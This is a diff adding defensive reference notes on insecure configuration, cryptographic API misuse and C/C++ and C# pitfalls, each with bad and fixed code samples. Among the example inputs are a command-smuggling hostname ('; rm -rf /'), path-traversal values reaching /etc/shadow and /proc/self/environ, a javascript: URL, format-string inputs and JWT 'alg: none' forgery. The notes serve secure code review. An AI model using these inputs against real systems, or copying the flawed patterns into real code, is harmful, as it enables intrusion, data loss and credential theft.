|
||||
| Password compare | strcmp | hash_equals, secrets.compare_digest |
|
||||
@@ -0,0 +1,333 @@
|
||||
# Configuration Security Patterns
|
||||
|
||||
Dangerous configuration patterns that enable security failures.
|
||||
|
||||
## Zero/Empty/Null Semantics
|
||||
|
||||
### The Lifetime Zero Problem
|
||||
|
||||
```yaml
|
||||
# What does 0 mean?
|
||||
session_timeout: 0 # Infinite timeout? Immediate expiry? Disabled?
|
||||
token_lifetime: 0 # Never expires? Already expired? Use default?
|
||||
max_attempts: 0 # No attempts allowed? Unlimited attempts?
|
||||
```
|
||||
|
||||
**Real-world failures:**
|
||||
- OTP libraries where `lifetime=0` means "accept any OTP regardless of age"
|
||||
- Rate limiters where `max_attempts=0` disables rate limiting
|
||||
- Session managers where `timeout=0` means "session never expires"
|
||||
|
||||
**Detection**: Any numeric security parameter that accepts 0.
|
||||
|
||||
**Fix**: Explicit constants, validation, or separate enable/disable flag.
|
||||
|
||||
```python
|
||||
# BAD
|
||||
def verify_otp(code: str, lifetime: int = 300):
|
||||
if lifetime <= 0:
|
||||
return True # What??
|
||||
|
||||
# GOOD
|
||||
def verify_otp(code: str, lifetime: int = 300):
|
||||
if lifetime <= 0:
|
||||
raise ValueError("lifetime must be positive")
|
||||
```
|
||||
|
||||
### Empty String Bypass
|
||||
|
||||
```python
|
||||
# Passwords
|
||||
if user_password == stored_hash: # What if stored_hash is ""?
|
||||
|
||||
# API keys
|
||||
if api_key == config.api_key: # What if config is empty?
|
||||
grant_access()
|
||||
|
||||
# The empty string equals the empty string
|
||||
"" == "" # True - authentication bypassed
|
||||
```
|
||||
|
||||
**Detection**: String comparisons for authentication without empty checks.
|
||||
|
||||
### Null as "Skip"
|
||||
|
||||
```javascript
|
||||
// DANGEROUS: null means "skip verification"
|
||||
function verifySignature(data, signature, publicKey) {
|
||||
if (!publicKey) return true; // No key = trust everything?
|
||||
return crypto.verify(data, signature, publicKey);
|
||||
}
|
||||
|
||||
// DANGEROUS: null means "any value"
|
||||
function checkRole(user, requiredRole) {
|
||||
if (!requiredRole) return true; // No requirement = allow all?
|
||||
return user.roles.includes(requiredRole);
|
||||
}
|
||||
```
|
||||
|
||||
## Boolean Traps
|
||||
|
||||
### Security-Disabling Flags
|
||||
|
||||
```yaml
|
||||
# Every one of these has caused real vulnerabilities
|
||||
verify_ssl: false
|
||||
validate_certificate: false
|
||||
check_signature: false
|
||||
require_auth: false
|
||||
enable_csrf_protection: false
|
||||
sanitize_input: false
|
||||
```
|
||||
|
||||
**Pattern**: Any boolean that disables a security control.
|
||||
|
||||
**The typo problem:**
|
||||
```yaml
|
||||
verify_ssl: fasle # Typo - what does the parser do?
|
||||
verify_ssl: "false" # String "false" - truthy in many languages!
|
||||
verify_ssl: 0 # Integer 0 - falsy, but is it valid?
|
||||
```
|
||||
|
||||
### Double Negatives
|
||||
|
||||
```yaml
|
||||
# Confusing
|
||||
disable_auth: false # Auth enabled? Let me re-read...
|
||||
skip_validation: false # Validation runs? Think carefully...
|
||||
|
||||
# Clear
|
||||
auth_enabled: true
|
||||
validate_input: true
|
||||
```
|
||||
|
||||
## Magic Values
|
||||
|
||||
### Sentinel Values in Security Parameters
|
||||
|
||||
```yaml
|
||||
# What do these mean?
|
||||
max_retries: -1 # Infinite? Error? Use default?
|
||||
cache_ttl: -1 # Never expire? Disabled?
|
||||
timeout_seconds: -1 # Wait forever? Use system default?
|
||||
|
||||
# Real vulnerability: connection pool with max_connections: -1
|
||||
# meant "unlimited" - enabled DoS via connection exhaustion
|
||||
```
|
||||
|
||||
### Special String Values
|
||||
|
||||
```yaml
|
||||
# Dangerous patterns
|
||||
allowed_origins: "*" # CORS wildcard
|
||||
allowed_hosts: "any" # Bypass host validation
|
||||
log_level: "none" # Disable security logging
|
||||
password_policy: "disabled" # No password requirements
|
||||
```
|
||||
|
||||
**Detection**: String configs that accept wildcards or "disable" keywords.
|
||||
|
||||
## Combination Hazards
|
||||
|
||||
### Conflicting Settings
|
||||
|
||||
```yaml
|
||||
# Both true - which wins?
|
||||
require_authentication: true
|
||||
allow_anonymous_access: true
|
||||
|
||||
# Both specified - conflict
|
||||
session_cookie_secure: true
|
||||
force_http: true # HTTP can't use Secure cookies
|
||||
|
||||
# Mutually exclusive
|
||||
encryption_key: "..."
|
||||
encryption_disabled: true
|
||||
```
|
||||
|
||||
### Precedence Confusion
|
||||
|
||||
```yaml
|
||||
# In config file
|
||||
verify_ssl: true
|
||||
|
||||
# But overrideable by environment?
|
||||
VERIFY_SSL=false # Which wins?
|
||||
|
||||
# And command line?
|
||||
--no-verify-ssl # Now there are three sources
|
||||
```
|
||||
|
||||
**Fix**: Document precedence clearly; warn on conflicts; fail on contradictions.
|
||||
|
||||
## Environment Variable Hazards
|
||||
|
||||
### Sensitive Values in Environment
|
||||
|
||||
```bash
|
||||
# Common but problematic
|
||||
export DATABASE_PASSWORD="secret"
|
||||
export API_KEY="sk_live_xxx"
|
||||
|
||||
# Risks:
|
||||
# - Visible in process listings (ps aux)
|
||||
# - Inherited by child processes
|
||||
# - Logged in error dumps
|
||||
# - Visible in container inspection
|
||||
```
|
||||
|
||||
### Override Attacks
|
||||
|
||||
```python
|
||||
# Application trusts environment
|
||||
debug = os.environ.get("DEBUG", "false") == "true"
|
||||
|
||||
# Attacker with environment access:
|
||||
export DEBUG=true # Enables verbose logging of secrets
|
||||
```
|
||||
|
||||
**Detection**: Security settings controllable via environment without validation.
|
||||
|
||||
## Path Traversal via Config
|
||||
|
||||
### Unrestricted Path Configuration
|
||||
|
||||
```yaml
|
||||
# User-controlled paths
|
||||
log_file: "../../../etc/passwd"
|
||||
upload_dir: "/etc/nginx/conf.d/"
|
||||
template_dir: "../../../etc/shadow"
|
||||
|
||||
# Even "read-only" paths can leak secrets
|
||||
config_include: "/etc/shadow"
|
||||
certificate_file: "/proc/self/environ"
|
||||
```
|
||||
|
||||
**Fix**: Validate paths; restrict to allowed directories; resolve and check.
|
||||
|
||||
## Unvalidated Constructor Parameters
|
||||
|
||||
Configuration/parameter classes that accept security-relevant values without validation create "time bombs" - the insecure value is accepted silently at construction, then explodes later during use.
|
||||
|
||||
### Algorithm Selection Without Allowlist
|
||||
|
||||
```php
|
||||
// DANGEROUS: Accepts any string including weak algorithms
|
||||
readonly class ServerConfig {
|
||||
public function __construct(
|
||||
public string $hashAlgo = 'sha256', // Accepts 'md5', 'crc32', 'adler32'
|
||||
public string $cipher = 'aes-256-gcm', // Accepts 'des', 'rc4'
|
||||
) {}
|
||||
}
|
||||
|
||||
// Caller can pass insecure values:
|
||||
new ServerConfig(hashAlgo: 'md5'); // Silently accepted!
|
||||
```
|
||||
|
||||
**Detection**: Constructor parameters named `algo`, `algorithm`, `hash*`, `cipher`, `mode`, `*_type` that accept strings without validation.
|
||||
|
||||
**Fix**: Validate against an explicit allowlist at construction:
|
||||
|
||||
```php
|
||||
public function __construct(public string $hashAlgo = 'sha256') {
|
||||
if (!in_array($hashAlgo, ['sha256', 'sha384', 'sha512'], true)) {
|
||||
throw new InvalidArgumentException("Disallowed hash algorithm: $hashAlgo");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Timing Parameters Without Bounds
|
||||
|
||||
```php
|
||||
// DANGEROUS: No minimum or maximum bounds
|
||||
readonly class AuthConfig {
|
||||
public function __construct(
|
||||
public int $otpLifetime = 120, // Accepts 0 (immediate expiry? infinite?)
|
||||
public int $sessionTimeout = 3600, // Accepts -1 (what does this mean?)
|
||||
public int $maxRetries = 5, // Accepts 0 (no retries? unlimited?)
|
||||
) {}
|
||||
}
|
||||
|
||||
// All of these are silently accepted:
|
||||
new AuthConfig(otpLifetime: 0); // OTP always expired or never expires?
|
||||
new AuthConfig(otpLifetime: 999999); // ~11 days - replay attacks!
|
||||
new AuthConfig(maxRetries: -1); // Unlimited retries = brute force
|
||||
```
|
||||
|
||||
**Detection**: Numeric constructor parameters for `*lifetime`, `*timeout`, `*ttl`, `*duration`, `max_*`, `min_*`, `*_seconds`, `*_attempts` without range validation.
|
||||
|
||||
**Fix**: Enforce both minimum AND maximum bounds:
|
||||
|
||||
```php
|
||||
public function __construct(public int $otpLifetime = 120) {
|
||||
if ($otpLifetime < 2) {
|
||||
throw new InvalidArgumentException("OTP lifetime too short (min: 2 seconds)");
|
||||
}
|
||||
if ($otpLifetime > 300) {
|
||||
throw new InvalidArgumentException("OTP lifetime too long (max: 300 seconds)");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Hostname/URL Parameters Without Validation
|
||||
|
||||
```php
|
||||
// DANGEROUS: No format validation
|
||||
readonly class NetworkConfig {
|
||||
public function __construct(
|
||||
public string $hostname = 'localhost', // Accepts anything
|
||||
public string $callbackUrl = '', // Accepts malformed URLs
|
||||
) {}
|
||||
}
|
||||
|
||||
// Silently accepted:
|
||||
new NetworkConfig(hostname: '../../../etc/passwd');
|
||||
new NetworkConfig(hostname: 'localhost; rm -rf /');
|
||||
new NetworkConfig(callbackUrl: 'javascript:alert(1)');
|
||||
```
|
||||
|
||||
**Detection**: String constructor parameters named `host`, `hostname`, `domain`, `*_url`, `*_uri`, `endpoint`, `callback*` without validation.
|
||||
|
||||
**Fix**: Validate format at construction:
|
||||
|
||||
```php
|
||||
public function __construct(public string $hostname = 'localhost') {
|
||||
if (!filter_var($hostname, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)) {
|
||||
throw new InvalidArgumentException("Invalid hostname: $hostname");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### The "Sensible Default" Trap
|
||||
|
||||
Having a secure default does NOT protect you - callers can override it:
|
||||
|
||||
```php
|
||||
// Default is secure...
|
||||
public function __construct(
|
||||
public string $hashAlgo = 'sha256' // Good default!
|
||||
) {}
|
||||
|
||||
// ...but callers can still shoot themselves
|
||||
$config = new Config(hashAlgo: 'md5'); // Oops
|
||||
```
|
||||
|
||||
**The rule**: If a parameter affects security, validate it. Defaults only help developers who don't specify a value; validation protects everyone.
|
||||
|
||||
## Configuration Validation Checklist
|
||||
|
||||
For configuration schemas, verify:
|
||||
|
||||
- [ ] **Zero/empty rejected**: Numeric security params require positive values
|
||||
- [ ] **No empty passwords/keys**: Empty string authentication forbidden
|
||||
- [ ] **No security-disabling booleans**: Or require confirmation/separate config
|
||||
- [ ] **No magic values**: -1 and wildcards have defined, safe meanings
|
||||
- [ ] **Conflict detection**: Contradictory settings produce errors
|
||||
- [ ] **Precedence documented**: Clear order when multiple sources exist
|
||||
- [ ] **Path validation**: User-provided paths restricted to safe directories
|
||||
- [ ] **Type strictness**: "false" string not silently converted to boolean
|
||||
- [ ] **Deprecation warnings**: Insecure legacy options warn loudly
|
||||
- [ ] **Algorithm allowlist**: Crypto algorithm params validated against safe options
|
||||
- [ ] **Timing bounds**: Lifetime/timeout params have both min AND max limits
|
||||
- [ ] **Hostname/URL validation**: Network addresses validated at construction
|
||||
- [ ] **Constructor validation**: All security params validated, not just defaulted
|
||||
@@ -0,0 +1,190 @@
|
||||
# Cryptographic API Footguns
|
||||
|
||||
Detailed patterns for identifying misuse-prone cryptographic interfaces.
|
||||
|
||||
## Algorithm Selection Anti-Patterns
|
||||
|
||||
### The "alg" Header Attack (JWT)
|
||||
|
||||
The JSON Web Token standard allows the token itself to specify which algorithm to use for verification. This is catastrophically wrong.
|
||||
|
||||
**Attack 1: "none" algorithm**
|
||||
```json
|
||||
{"alg": "none", "typ": "JWT"}
|
||||
```
|
||||
Many libraries accept this and skip signature verification entirely.
|
||||
|
||||
**Attack 2: Algorithm confusion (RS256 → HS256)**
|
||||
- Server expects RSA signature, uses public key for verification
|
||||
- Attacker changes algorithm to HMAC, uses *public key* as HMAC secret
|
||||
- Public key is public, so attacker can forge valid signatures
|
||||
|
||||
**Root cause**: Trusting untrusted input to select security mechanisms.
|
||||
|
||||
**Fix**: Never let data dictate algorithm. Use one algorithm, hardcoded.
|
||||
|
||||
### Cipher Mode Parameters
|
||||
|
||||
```python
|
||||
# DANGEROUS: mode is selectable
|
||||
def encrypt(plaintext, key, mode="ECB"): # ECB is never correct
|
||||
...
|
||||
|
||||
# BAD: accepts any OpenSSL cipher string
|
||||
cipher = OpenSSL::Cipher.new(user_selected_cipher)
|
||||
|
||||
# GOOD: no parameters
|
||||
def encrypt(plaintext, key): # internally uses AES-256-GCM
|
||||
...
|
||||
```
|
||||
|
||||
**Detection**: Parameters named `mode`, `cipher`, `algorithm`, `hash_type`
|
||||
|
||||
### Hash Algorithm Downgrade
|
||||
|
||||
```php
|
||||
// PHP's hash() accepts ANY algorithm
|
||||
hash("crc32", $password); // Valid call, terrible security
|
||||
hash("md5", $password); // Valid call, broken security
|
||||
hash("sha256", $password); // Valid call, still wrong for passwords
|
||||
|
||||
// Password functions limit choices
|
||||
password_hash($password, PASSWORD_ARGON2ID); // Better
|
||||
```
|
||||
|
||||
**Pattern**: APIs that accept algorithm as string instead of restricting to safe subset.
|
||||
|
||||
## Key/Nonce/IV Confusion
|
||||
|
||||
### Indistinguishable Byte Arrays
|
||||
|
||||
```go
|
||||
// All three are just []byte - easy to swap
|
||||
func Encrypt(plaintext, key, nonce []byte) []byte
|
||||
|
||||
// Easy mistakes:
|
||||
Encrypt(plaintext, nonce, key) // Swapped - compiles fine
|
||||
Encrypt(plaintext, key, key) // Reused key as nonce - compiles fine
|
||||
```
|
||||
|
||||
**Fix**: Distinct types
|
||||
|
||||
```go
|
||||
type EncryptionKey [32]byte
|
||||
type Nonce [24]byte
|
||||
|
||||
func Encrypt(plaintext []byte, key EncryptionKey, nonce Nonce) []byte
|
||||
// Now type system catches swaps
|
||||
```
|
||||
|
||||
### Nonce Reuse
|
||||
|
||||
```python
|
||||
# DANGEROUS: nonce parameter with no guidance
|
||||
def encrypt(plaintext, key, nonce):
|
||||
...
|
||||
|
||||
# Developer "simplifies" by reusing:
|
||||
nonce = b'\x00' * 12
|
||||
encrypt(msg1, key, nonce)
|
||||
encrypt(msg2, key, nonce) # Catastrophic with GCM/ChaCha
|
||||
```
|
||||
|
||||
**Fix**: Generate nonces internally, return them with ciphertext.
|
||||
|
||||
## Comparison Footguns
|
||||
|
||||
### Timing-Safe vs. Regular Comparison
|
||||
|
||||
```python
|
||||
# These look identical but have different security properties
|
||||
if computed_mac == expected_mac: # VULNERABLE: timing attack
|
||||
if hmac.compare_digest(computed_mac, expected_mac): # Safe
|
||||
```
|
||||
|
||||
**The problem**: Developers don't know to use special comparison. Default string equality is vulnerable.
|
||||
|
||||
**Detection**: Direct equality checks on MACs, signatures, hashes, tokens.
|
||||
|
||||
### Boolean Confusion
|
||||
|
||||
```python
|
||||
# Signature verification APIs
|
||||
result = verify(signature, message, key)
|
||||
|
||||
# Some return True/False
|
||||
if verify(...): # Must check return value
|
||||
|
||||
# Some raise exceptions
|
||||
verify(...) # Failure = exception, no return to check
|
||||
|
||||
# Developers mixing these up = vulnerabilities
|
||||
```
|
||||
|
||||
## Padding Oracle Enablers
|
||||
|
||||
### Raw Decryption APIs
|
||||
|
||||
```python
|
||||
# DANGEROUS: returns plaintext even if padding invalid
|
||||
def decrypt(ciphertext, key):
|
||||
# ... decrypt ...
|
||||
return unpad(plaintext) # Throws on bad padding
|
||||
|
||||
# Attacker can distinguish:
|
||||
# - Valid padding → success
|
||||
# - Invalid padding → exception
|
||||
|
||||
# This distinction enables padding oracle attacks
|
||||
```
|
||||
|
||||
**Fix**: Decrypt-then-MAC (or authenticated encryption). Never expose padding validity.
|
||||
|
||||
### Error Message Differentiation
|
||||
|
||||
```
|
||||
# DANGEROUS error messages
|
||||
"Invalid padding" # Padding oracle signal
|
||||
"MAC verification failed" # Different error = oracle
|
||||
"Decryption failed" # Good: single error for all failures
|
||||
```
|
||||
|
||||
## Key Derivation Footguns
|
||||
|
||||
### Using Hashes Instead of KDFs
|
||||
|
||||
```python
|
||||
# DANGEROUS: hash is not a KDF
|
||||
key = hashlib.sha256(password.encode()).digest()
|
||||
|
||||
# Developer reasoning: "SHA-256 is secure"
|
||||
# Reality: Fast hash enables brute force
|
||||
|
||||
# CORRECT: use actual KDF
|
||||
key = hashlib.scrypt(password.encode(), salt=salt, n=2**14, r=8, p=1)
|
||||
```
|
||||
|
||||
### Password Storage Misuse
|
||||
|
||||
```python
|
||||
# DANGEROUS: encryption is not password storage
|
||||
encrypted_password = encrypt(password, master_key)
|
||||
# Compromise of master_key = all passwords exposed
|
||||
|
||||
# CORRECT: one-way hash with salt
|
||||
hashed_password = argon2.hash(password)
|
||||
# No key to steal; each password salted differently
|
||||
```
|
||||
|
||||
## Safe API Design Checklist
|
||||
|
||||
For cryptographic APIs, verify:
|
||||
|
||||
- [ ] **No algorithm selection**: One safe algorithm, hardcoded
|
||||
- [ ] **No mode selection**: GCM/ChaCha20-Poly1305 only, no ECB/CBC
|
||||
- [ ] **Distinct types**: Keys, nonces, ciphertexts are different types
|
||||
- [ ] **Internal nonce generation**: Don't require developer to provide
|
||||
- [ ] **Authenticated encryption**: Encrypt-then-MAC or AEAD built in
|
||||
- [ ] **Constant-time comparison**: Default or only comparison method
|
||||
- [ ] **Uniform errors**: Same error for all decryption failures
|
||||
- [ ] **KDF for passwords**: Argon2/scrypt/bcrypt, not raw hashes
|
||||
@@ -0,0 +1,205 @@
|
||||
# C/C++ Sharp Edges
|
||||
|
||||
## Integer Overflow is Undefined Behavior
|
||||
|
||||
```c
|
||||
// DANGEROUS: Signed overflow is UB, compiler can optimize away checks
|
||||
int x = INT_MAX;
|
||||
if (x + 1 > x) { // Compiler may assume always true (UB)
|
||||
// Overflow check optimized away!
|
||||
}
|
||||
|
||||
// DANGEROUS: Size calculations
|
||||
size_t size = user_count * sizeof(struct User);
|
||||
// If user_count * sizeof overflows, allocates tiny buffer
|
||||
void *buf = malloc(size);
|
||||
```
|
||||
|
||||
**The Problem**: Signed integer overflow is undefined behavior. Compilers assume it never happens and optimize accordingly—including removing overflow checks.
|
||||
|
||||
**Detection**: Look for arithmetic on signed integers, especially in size calculations, loop bounds, and allocation sizes.
|
||||
|
||||
## Buffer Handling
|
||||
|
||||
```c
|
||||
// DANGEROUS: No bounds checking
|
||||
char buf[64];
|
||||
strcpy(buf, user_input); // Classic overflow
|
||||
sprintf(buf, "Hello %s", name); // Format + overflow
|
||||
gets(buf); // Never use, removed in C11
|
||||
|
||||
// DANGEROUS: Off-by-one
|
||||
char buf[64];
|
||||
strncpy(buf, src, 64); // NOT null-terminated if src >= 64!
|
||||
buf[63] = '\0'; // Must do manually
|
||||
|
||||
// DANGEROUS: snprintf return value
|
||||
int ret = snprintf(buf, sizeof(buf), "%s", long_string);
|
||||
// ret is length that WOULD be written, not actual length
|
||||
// If ret >= sizeof(buf), output was truncated
|
||||
```
|
||||
|
||||
**Safe Alternatives**:
|
||||
- `strlcpy`, `strlcat` (BSD, not standard)
|
||||
- `snprintf` with proper return value checking
|
||||
- C11 Annex K `strcpy_s`, `sprintf_s` (limited support)
|
||||
|
||||
## Format Strings
|
||||
|
||||
```c
|
||||
// DANGEROUS: User controls format
|
||||
printf(user_input); // Format string attack
|
||||
syslog(LOG_INFO, user_input); // Same problem
|
||||
fprintf(stderr, user_input); // Same problem
|
||||
|
||||
// Attacker input: "%x%x%x%x" → leaks stack
|
||||
// Attacker input: "%n" → writes to memory
|
||||
|
||||
// SAFE: Format as literal
|
||||
printf("%s", user_input);
|
||||
```
|
||||
|
||||
**Detection**: Any `*printf` family function where the format argument is not a string literal.
|
||||
|
||||
## Memory Cleanup
|
||||
|
||||
```c
|
||||
// DANGEROUS: Compiler may optimize away
|
||||
char password[64];
|
||||
// ... use password ...
|
||||
memset(password, 0, sizeof(password)); // May be removed!
|
||||
|
||||
// The compiler sees: "writes to password, then password goes out of scope"
|
||||
// Optimization: "dead store elimination" removes the memset
|
||||
```
|
||||
|
||||
**Safe Alternatives**:
|
||||
```c
|
||||
// Option 1: explicit_bzero (BSD, glibc 2.25+)
|
||||
explicit_bzero(password, sizeof(password));
|
||||
|
||||
// Option 2: SecureZeroMemory (Windows)
|
||||
SecureZeroMemory(password, sizeof(password));
|
||||
|
||||
// Option 3: Volatile function pointer trick
|
||||
static void *(*const volatile memset_ptr)(void *, int, size_t) = memset;
|
||||
memset_ptr(password, 0, sizeof(password));
|
||||
|
||||
// Option 4: C11 memset_s (limited support)
|
||||
memset_s(password, sizeof(password), 0, sizeof(password));
|
||||
```
|
||||
|
||||
## Uninitialized Variables
|
||||
|
||||
```c
|
||||
// DANGEROUS: Uninitialized stack variables
|
||||
int result;
|
||||
if (condition) {
|
||||
result = compute();
|
||||
}
|
||||
return result; // Uninitialized if !condition
|
||||
|
||||
// DANGEROUS: Uninitialized struct padding
|
||||
struct {
|
||||
char a; // 1 byte
|
||||
// 3 bytes padding (uninitialized)
|
||||
int b; // 4 bytes
|
||||
} s;
|
||||
s.a = 'x';
|
||||
s.b = 42;
|
||||
send(sock, &s, sizeof(s), 0); // Leaks 3 bytes of stack
|
||||
```
|
||||
|
||||
**Fix**: Use `= {0}` initialization or `memset`.
|
||||
|
||||
## Double Free and Use-After-Free
|
||||
|
||||
```c
|
||||
// DANGEROUS: Double free
|
||||
free(ptr);
|
||||
// ... later ...
|
||||
free(ptr); // Heap corruption
|
||||
|
||||
// DANGEROUS: Use after free
|
||||
free(ptr);
|
||||
ptr->value = 42; // Writing to freed memory
|
||||
|
||||
// DANGEROUS: Returning pointer to local
|
||||
char *get_greeting() {
|
||||
char buf[64] = "hello";
|
||||
return buf; // Stack pointer invalid after return
|
||||
}
|
||||
```
|
||||
|
||||
**Mitigations**:
|
||||
- Set pointer to NULL after free: `free(ptr); ptr = NULL;`
|
||||
- Use static analysis (Coverity, cppcheck)
|
||||
- Use AddressSanitizer in testing
|
||||
|
||||
## Signal Handler Issues
|
||||
|
||||
```c
|
||||
// DANGEROUS: Non-async-signal-safe functions in handler
|
||||
void handler(int sig) {
|
||||
printf("Got signal\n"); // NOT async-signal-safe
|
||||
malloc(100); // NOT async-signal-safe
|
||||
free(ptr); // NOT async-signal-safe
|
||||
}
|
||||
|
||||
// Async-signal-safe: write(), _exit(), signal()
|
||||
// Most functions including printf, malloc, free are NOT safe
|
||||
```
|
||||
|
||||
## Time-of-Check to Time-of-Use (TOCTOU)
|
||||
|
||||
```c
|
||||
// DANGEROUS: File state can change between check and use
|
||||
if (access(filename, W_OK) == 0) {
|
||||
// Attacker replaces file with symlink here
|
||||
fd = open(filename, O_WRONLY); // Opens different file
|
||||
}
|
||||
```
|
||||
|
||||
**Fix**: Open first, then check permissions on the file descriptor.
|
||||
|
||||
## Variadic Function Pitfalls
|
||||
|
||||
```c
|
||||
// DANGEROUS: Wrong format specifier
|
||||
printf("%d", (long long)value); // %d expects int, not long long
|
||||
printf("%s", 42); // Interprets 42 as pointer
|
||||
|
||||
// DANGEROUS: Missing sentinel
|
||||
execl("/bin/ls", "ls", "-l", NULL); // NULL required!
|
||||
execl("/bin/ls", "ls", "-l"); // Missing NULL = UB
|
||||
```
|
||||
|
||||
## Macro Pitfalls
|
||||
|
||||
```c
|
||||
// DANGEROUS: Macro arguments evaluated multiple times
|
||||
#define SQUARE(x) ((x) * (x))
|
||||
int a = 5;
|
||||
SQUARE(a++); // Expands to ((a++) * (a++)) - increments twice!
|
||||
|
||||
// DANGEROUS: Operator precedence
|
||||
#define ADD(a, b) a + b
|
||||
int x = ADD(1, 2) * 3; // Expands to 1 + 2 * 3 = 7, not 9
|
||||
|
||||
// SAFER: Fully parenthesize
|
||||
#define ADD(a, b) ((a) + (b))
|
||||
```
|
||||
|
||||
## Detection Patterns
|
||||
|
||||
Search for these patterns in C/C++ code:
|
||||
|
||||
| Pattern | Risk |
|
||||
|---------|------|
|
||||
| `strcpy`, `strcat`, `gets`, `sprintf` | Buffer overflow |
|
||||
| `printf(var)` where var is not literal | Format string |
|
||||
| `memset` before variable goes out of scope | Dead store elimination |
|
||||
| `free(ptr)` without `ptr = NULL` | Double free risk |
|
||||
| `malloc` without overflow check on size | Integer overflow |
|
||||
| Arithmetic on `int` near INT_MAX | Signed overflow UB |
|
||||
| `strncpy` without explicit null termination | Missing terminator |
|
||||
@@ -0,0 +1,285 @@
|
||||
# C# Sharp Edges
|
||||
|
||||
## Nullable Reference Types
|
||||
|
||||
```csharp
|
||||
// DANGEROUS: NRT is opt-in and warnings-only by default
|
||||
// Project must enable: <Nullable>enable</Nullable>
|
||||
|
||||
string? nullable = null;
|
||||
string nonNull = nullable; // Warning, but compiles!
|
||||
nonNull.Length; // NullReferenceException at runtime
|
||||
|
||||
// DANGEROUS: Suppression operator
|
||||
string value = possiblyNull!; // Suppresses warning, doesn't fix bug
|
||||
|
||||
// DANGEROUS: Default enabled doesn't mean enforced
|
||||
// Many legacy codebases have NRT enabled with thousands of warnings ignored
|
||||
```
|
||||
|
||||
**Fix**: Enable NRT AND treat warnings as errors:
|
||||
```xml
|
||||
<Nullable>enable</Nullable>
|
||||
<TreatWarningsAsErrors>true</TreatWarningsAsErrors>
|
||||
```
|
||||
|
||||
## Default Struct Values
|
||||
|
||||
```csharp
|
||||
// DANGEROUS: Structs have default(T) that may be invalid
|
||||
struct Connection {
|
||||
public string Host; // Default: null
|
||||
public int Port; // Default: 0
|
||||
}
|
||||
|
||||
var conn = default(Connection);
|
||||
// conn.Host is null, conn.Port is 0 - probably invalid state
|
||||
|
||||
// DANGEROUS: Array of structs
|
||||
var connections = new Connection[10];
|
||||
// All 10 are default(Connection) - invalid state
|
||||
```
|
||||
|
||||
**Fix**: Use constructors, or make structs readonly with init validation.
|
||||
|
||||
## IDisposable Leaks
|
||||
|
||||
```csharp
|
||||
// DANGEROUS: Resources not disposed on exception
|
||||
var conn = new SqlConnection(connectionString);
|
||||
conn.Open();
|
||||
// Exception here = connection never closed
|
||||
Process(conn);
|
||||
conn.Dispose();
|
||||
|
||||
// DANGEROUS: Nested disposables
|
||||
var outer = new Outer(); // Creates inner disposable
|
||||
// Exception before outer.Dispose() = inner leaked
|
||||
```
|
||||
|
||||
**Fix**: Use `using` statement or declaration:
|
||||
```csharp
|
||||
using var conn = new SqlConnection(connectionString);
|
||||
conn.Open();
|
||||
// Disposed even on exception
|
||||
|
||||
using (var conn = new SqlConnection(...)) {
|
||||
// Scoped disposal
|
||||
}
|
||||
```
|
||||
|
||||
## Async/Await Pitfalls
|
||||
|
||||
```csharp
|
||||
// DANGEROUS: async void - exceptions can't be caught
|
||||
async void FireAndForget() {
|
||||
throw new Exception("Lost!"); // Crashes the process
|
||||
}
|
||||
|
||||
// DANGEROUS: Deadlock with .Result
|
||||
async Task DoWork() {
|
||||
await Task.Delay(100);
|
||||
}
|
||||
|
||||
void Caller() {
|
||||
DoWork().Result; // Deadlock in UI/ASP.NET contexts!
|
||||
}
|
||||
|
||||
// DANGEROUS: Forgetting to await
|
||||
async Task Process() {
|
||||
DoWorkAsync(); // Not awaited - runs in background
|
||||
// Exceptions lost, no completion guarantee
|
||||
}
|
||||
```
|
||||
|
||||
**Fix**: Always return Task, use `ConfigureAwait(false)` in libraries:
|
||||
```csharp
|
||||
async Task DoWorkAsync() {
|
||||
await Task.Delay(100).ConfigureAwait(false);
|
||||
}
|
||||
```
|
||||
|
||||
## LINQ Deferred Execution
|
||||
|
||||
```csharp
|
||||
// DANGEROUS: LINQ queries are lazy
|
||||
var query = items.Where(x => x.IsValid);
|
||||
// Nothing executed yet!
|
||||
|
||||
items.Add(newItem); // Added after query defined
|
||||
foreach (var item in query) {
|
||||
// newItem IS included - query executes here
|
||||
}
|
||||
|
||||
// DANGEROUS: Multiple enumeration
|
||||
var filtered = items.Where(x => ExpensiveCheck(x));
|
||||
var count = filtered.Count(); // Executes query
|
||||
var first = filtered.First(); // Executes query AGAIN
|
||||
```
|
||||
|
||||
**Fix**: Materialize with `.ToList()` or `.ToArray()` when needed.
|
||||
|
||||
## String Comparison
|
||||
|
||||
```csharp
|
||||
// DANGEROUS: Culture-sensitive comparison by default
|
||||
"stra\u00dfe".Equals("strasse"); // Depends on culture!
|
||||
|
||||
// DANGEROUS: Turkish-I problem
|
||||
"INFO".ToLower() == "info" // FALSE in Turkish culture!
|
||||
// Turkish: I → ı (dotless i), İ → i
|
||||
|
||||
// DANGEROUS: Ordinal vs linguistic
|
||||
string.Compare("a", "A"); // Culture-dependent
|
||||
```
|
||||
|
||||
**Fix**: Use ordinal comparison for identifiers:
|
||||
```csharp
|
||||
string.Equals(a, b, StringComparison.Ordinal);
|
||||
string.Equals(a, b, StringComparison.OrdinalIgnoreCase);
|
||||
```
|
||||
|
||||
## Boxing and Unboxing
|
||||
|
||||
```csharp
|
||||
// DANGEROUS: Hidden boxing with value types
|
||||
int value = 42;
|
||||
object boxed = value; // Boxing allocation
|
||||
int unboxed = (int)boxed; // Unboxing
|
||||
|
||||
// DANGEROUS: Interface boxing
|
||||
struct Point : IComparable<Point> { ... }
|
||||
IComparable<Point> comparable = point; // Boxed!
|
||||
|
||||
// DANGEROUS: LINQ with value types
|
||||
var ints = new[] { 1, 2, 3 };
|
||||
ints.Where(x => x > 1); // Closure may box
|
||||
```
|
||||
|
||||
## Equality Implementation
|
||||
|
||||
```csharp
|
||||
// DANGEROUS: Incorrect equality implementation
|
||||
class MyClass {
|
||||
public int Id;
|
||||
|
||||
public override bool Equals(object obj) {
|
||||
return Id == ((MyClass)obj).Id; // Throws if obj is null or wrong type
|
||||
}
|
||||
|
||||
// DANGEROUS: Missing GetHashCode
|
||||
// Objects that are Equal MUST have same hash code
|
||||
// But: public override int GetHashCode() => ... // Missing!
|
||||
}
|
||||
```
|
||||
|
||||
**Fix**: Implement correctly or use records (C# 9+):
|
||||
```csharp
|
||||
record MyRecord(int Id); // Equality implemented correctly
|
||||
```
|
||||
|
||||
